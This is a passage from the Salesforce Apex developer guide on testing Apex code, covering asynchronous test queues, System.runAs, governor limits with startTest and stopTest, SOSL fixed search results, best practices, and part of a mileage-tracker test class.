running. Once the tests finish execution, you can inspect the test results in the Developer Console. Also, you can inspect the overall code coverage for classes covered by the tests. You can open the Developer Console in the Salesforce application from Your Name > Developer Console. For more details, check out the Developer Console documentation in the Salesforce online help. Running Tests Using the API You can use the runTests() call from the SOAP API to run tests synchronously: RunTestsResult[] runTests(RunTestsRequest ri) This call allows you to run all tests in all classes, all tests in a specific namespace, or all tests in a subset of classes in a specific namespace, as specified in the RunTestsRequest object. It returns the following: • • • • • Total number of tests that ran Code coverage statistics (described below) Error information for each failed test Information for each test that succeeds Time it took to run the test For more information on runTests(), see the WSDL located at https://your_salesforce_server/services/wsdl/apex, where your_salesforce_server is equivalent to the server on which your organization is located, such as na1.salesforce.com. Though administrators in a Salesforce production organization cannot make changes to Apex code using the Salesforce user interface, it is still important to use runTests() to verify that the existing unit tests run to completion after a change is made, such as adding a unique constraint to an existing field. Salesforce production organizations must use the compileAndTest SOAP API call to make changes to Apex code. For more information, see Deploying Apex on page 376. For more information on runTests(), see SOAP API and SOAP Headers for Apex on page 1330. 366
  • 391. Testing Apex Running Unit Test Methods Running Tests Using ApexTestQueueItem Note: The API for asynchronous test runs is a Beta release. You can run tests asynchronously using ApexTestQueueItem and ApexTestResult. Using these objects and Apex code to insert and query the objects, you can add tests to the Apex job queue for execution and check the results of completed test runs. This enables you to not only start tests asynchronously but also schedule your tests to execute at specific times by using the Apex scheduler. See Apex Scheduler for more information. To start an asynchronous execution of unit tests and check their results, use these objects: • • ApexTestQueueItem: Represents a single Apex class in the Apex job queue. ApexTestResult: Represents the result of an Apex test method execution. Insert an ApexTestQueueItem object to place its corresponding Apex class in the Apex job queue for execution. The Apex job executes the test methods in the class. After the job executes, ApexTestResult contains the result for each single test method executed as part of the test. To abort a class that is in the Apex job queue, perform an update operation on the ApexTestQueueItem object and set its Status field to Aborted. If you insert multiple Apex test queue items in a single bulk operation, the queue items will share the same parent job. This means that a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation. The maximum number of test queue items, and hence classes, that you can insert in the Apex job queue is the greater of 500 or 10 multiplied by the number of test classes in the organization. This example shows how to use DML operations to insert and query the ApexTestQueueItem and ApexTestResult objects. The enqueueTests method inserts queue items for all classes that end with Test. It then returns the parent job ID of one queue item, which is the same for all queue items because they were inserted in bulk. The checkClassStatus method retrieves all the queue items that correspond to the specified job ID. It then queries and outputs the name, job status, and pass rate for each class. The checkMethodStatus method gets information of each test method that was executed as part of the job. public class TestUtil { // Enqueue all classes ending in "Test". public static ID enqueueTests() { ApexClass[] testClasses = [SELECT Id FROM ApexClass WHERE Name LIKE '%Test']; if (testClasses.size() > 0) { ApexTestQueueItem[] queueItems = new List<ApexTestQueueItem>(); for (ApexClass cls : testClasses) { queueItems.add(new ApexTestQueueItem(ApexClassId=cls.Id)); } insert queueItems; // Get the job ID of the first queue item returned. ApexTestQueueItem item = [SELECT ParentJobId FROM ApexTestQueueItem WHERE Id=:queueItems[0].Id LIMIT 1]; return item.parentjobid; } return null; } // Get the status and pass rate for each class // whose tests were run by the job. // that correspond to the specified job ID. public static void checkClassStatus(ID jobId) { 367
  • 392. Testing Apex Using the runAs Method ApexTestQueueItem[] items = [SELECT ApexClass.Name, Status, ExtendedStatus FROM ApexTestQueueItem WHERE ParentJobId=:jobId]; for (ApexTestQueueItem item : items) { String extStatus = item.extendedstatus == null ? '' : item.extendedStatus; System.debug(item.ApexClass.Name + ': ' + item.Status + extStatus); } } // Get the result for each test method that was executed. public static void checkMethodStatus(ID jobId) { ApexTestResult[] results = [SELECT Outcome, ApexClass.Name, MethodName, Message, StackTrace FROM ApexTestResult WHERE AsyncApexJobId=:jobId]; for (ApexTestResult atr : results) { System.debug(atr.ApexClass.Name + '.' + atr.MethodName + ': ' + atr.Outcome); if (atr.message != null) { System.debug(atr.Message + 'n at ' + atr.StackTrace); } } } } Using the runAs Method Generally, all Apex code runs in system mode, where the permissions and record sharing of the current user are not taken into account. The system method runAs enables you to write test methods that change the user context to an existing user or a new user so that the user’s record sharing is enforced. The runAs method doesn’t enforce user permissions or field-level permissions, only record sharing. You can use runAs only in test methods. The original system context is started again after all runAs test methods complete. The runAs method ignores user license limits. You can create new users with runAs even if your organization has no additional user licenses. Note: Every call to runAs counts against the total number of DML statements issued in the process. In the following example, a new test user is created, then code is run as that user, with that user's record sharing access: @isTest private class TestRunAs { public static testMethod void testRunAs() { // Setup test data // This code runs as the system user Profile p = [SELECT Id FROM Profile WHERE Name='Standard User']; User u = new User(Alias = 'standt', Email='standarduser@testorg.com', EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US', LocaleSidKey='en_US', ProfileId = p.Id, TimeZoneSidKey='America/Los_Angeles', UserName='standarduser@testorg.com'); System.runAs(u) { // The following code runs as user 'u' System.debug('Current User: ' + UserInfo.getUserName()); System.debug('Current Profile: ' + UserInfo.getProfileId()); } } } 368
  • 393. Testing Apex Using Limits, startTest, and stopTest You can nest more than one runAs method. For example: @isTest private class TestRunAs2 { public static testMethod void test2() { Profile p = [SELECT Id FROM Profile WHERE Name='Standard User']; User u2 = new User(Alias = 'newUser', Email='newuser@testorg.com', EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US', LocaleSidKey='en_US', ProfileId = p.Id, TimeZoneSidKey='America/Los_Angeles', UserName='newuser@testorg.com'); System.runAs(u2) { // The following code runs as user u2. System.debug('Current User: ' + UserInfo.getUserName()); System.debug('Current Profile: ' + UserInfo.getProfileId()); // The following code runs as user u3. User u3 = [SELECT Id FROM User WHERE UserName='newuser@testorg.com']; System.runAs(u3) { System.debug('Current User: ' + UserInfo.getUserName()); System.debug('Current Profile: ' + UserInfo.getProfileId()); } // Any additional code here would run as user u2. } } } Other Uses of runAs You can also use the runAs method to perform mixed DML operations in your test by enclosing the DML operations within the runAs block. In this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup objects together with other sObjects. See sObjects That Cannot Be Used Together in DML Operations. There is another overload of the runAs method (runAs(System.Version)) that takes a package version as an argument. This method causes the code of a specific version of a managed package to be used. For information on using the runAs method and specifying a package version context, see Testing Behavior in Package Versions on page 386. Using Limits, startTest, and stopTest The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap size remaining. There are two versions of every method: the first returns the amount of the resource that has been used in the current context, while the second version contains the word “limit” and returns the total amount of the resource that is available for that context. For example, getCallouts returns the number of callouts to an external service that have already been processed in the current context, while getLimitCallouts returns the total number of callouts available in the given context. In addition to the Limits methods, use the startTest and stopTest methods to validate how close the code is to reaching governor limits. The startTest method marks the point in your test code when your test actually begins. Each test method is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need to run your test. Any code that executes after the call to startTest and before stopTest is assigned a new set of governor limits. The startTest method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98 SOQL queries before it calls startTest, and the first significant statement after startTest is a DML statement, the program can now make an additional 100 queries. Once stopTest is called, however, the program goes back into the original context, and can only make 2 additional SOQL queries before reaching the limit of 100. 369
  • 394. Testing Apex Adding SOSL Queries to Unit Tests The stopTest method marks the point in your test code when your test ends. Use this method in conjunction with the startTest method. Each test method is allowed to call this method only once. Any code that executes after the stopTest method is assigned the original limits that were in effect before startTest was called. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. Adding SOSL Queries to Unit Tests To ensure that test methods always behave in a predictable way, any Salesforce Object Search Language (SOSL) query that is added to an Apex test method returns an empty set of search results when the test method executes. If you do not want the query to return an empty list of results, you can use the Test.setFixedSearchResults system method to define a list of record IDs that are returned by the search. All SOSL queries that take place later in the test method return the list of record IDs that were specified by the Test.setFixedSearchResults method. Additionally, the test method can call Test.setFixedSearchResults multiple times to define different result sets for different SOSL queries. If you do not call the Test.setFixedSearchResults method in a test method, or if you call this method without specifying a list of record IDs, any SOSL queries that take place later in the test method return an empty list of results. The list of record IDs specified by the Test.setFixedSearchResults method replaces the results that would normally be returned by the SOSL query if it were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL query, they are applied to the list of fixed search results. For example: @isTest private class SoslFixedResultsTest1 { public static testMethod void testSoslFixedResults() { Id [] fixedSearchResults= new Id[1]; fixedSearchResults[0] = '001x0000003G89h'; Test.setFixedSearchResults(fixedSearchResults); List<List<SObject>> searchList = [FIND 'test' IN ALL FIELDS RETURNING Account(id, name WHERE name = 'test' LIMIT 1)]; } } Although the account record with an ID of 001x0000003G89h may not match the query string in the FIND clause ('test'), the record is passed into the RETURNING clause of the SOSL statement. If the record with ID 001x0000003G89h matches the WHERE clause filter, the record is returned. If it does not match the WHERE clause, no record is returned. Testing Best Practices Good tests should do the following: • Cover as many lines of code as possible. Before you can deploy Apex or package it for the Force.com AppExchange, the following must be true. Important: ◊ At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully. Note the following. - When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage. Test methods and test classes are not counted as part of Apex code coverage. While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, 370
  • 395. Testing Apex Testing Example including positive and negative cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests. ◊ Every trigger must have some test coverage. ◊ All classes and triggers must compile successfully. • • • • • • • • • In the case of conditional logic (including ternary operators), execute each branch of code logic. Make calls to methods using both valid and invalid inputs. Complete successfully without throwing any exceptions, unless those errors are expected and caught in a try…catch block. Always handle all exceptions that are caught, instead of merely catching the exceptions. Use System.assert methods to prove that code behaves properly. Use the runAs method to test your application in different user contexts. Exercise bulk trigger functionality—use at least 20 records in your tests. Use the ORDER BY keywords to ensure that the records are returned in the expected order. Not assume that record IDs are in sequential order. Record IDs are not created in ascending order unless you insert multiple records with the same request. For example, if you create an account A, and receive the ID 001D000000IEEmT, then create account B, the ID of account B may or may not be sequentially higher. • • On the list of Apex classes, there is a Code Coverage column. If you click the coverage percent number, a page displays, highlighting the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test. Set up test data: ◊ Create the necessary data in test classes, so the tests do not have to rely on data in a particular organization. ◊ Create all test data before calling the starttest method. ◊ Since tests don't commit, you won't need to delete any data. • • Write comments stating not only what is supposed to be tested, but the assumptions the tester made about the data, the expected outcome, and so on. Test the classes in your application individually. Never test your entire application in a single test. If you are running many tests, consider the following: • • In the Force.com IDE, you may need to increase the Read timeout value for your Apex project. See https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse for details. In the Salesforce user interface, you may need to test the classes in your organization individually, instead of trying to run all of the tests at the same time using the Run All Tests button. Testing Example The following example includes cases for the following types of tests: • • • Positive case with single and multiple records Negative case with single and multiple records Testing with other users 371
  • 396. Testing Apex Testing Example The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than 500 miles are entered in a single day. The primary object is a custom object named Mileage__c. Here is the entire test class. The following sections step through specific portions of the code. @isTest private class MileageTrackerTestSuite { static testMethod void runPositiveTestCases() { Double totalMiles = 0; final Double maxtotalMiles = 500; final Double singletotalMiles = 300; final Double u2Miles = 100; //Set up user User u1 = [SELECT Id FROM User WHERE Alias='auser']; //Run As U1 System.RunAs(u1){ System.debug('Inserting 300 miles... (single record validation)'); Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today()); insert testMiles1; //Validate single insert for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE CreatedDate = TODAY and CreatedById = :u1.id and miles__c != null]) { totalMiles += m.miles__c; } System.assertEquals(singletotalMiles, totalMiles); //Bulk validation totalMiles = 0; System.debug('Inserting 200 mileage records... (bulk validation)'); List<Mileage__c> testMiles2 = new List<Mileage__c>(); for(integer i=0; i<200; i++) { testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) ); } insert testMiles2; for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE CreatedDate = TODAY and CreatedById = :u1.Id and miles__c != null]) { totalMiles += m.miles__c; } System.assertEquals(maxtotalMiles, totalMiles); }//end RunAs(u1) //Validate additional user: totalMiles = 0; //Setup RunAs User u2 = [SELECT Id FROM User WHERE Alias='tuser']; System.RunAs(u2){ Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today()); insert testMiles3; 372
  • 397. Testing Apex Testing Example for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE CreatedDate = TODAY and CreatedById = :u2.Id and miles__c != null]) { totalMiles += m.miles__c; } //Validate System.assertEquals(u2Miles, totalMil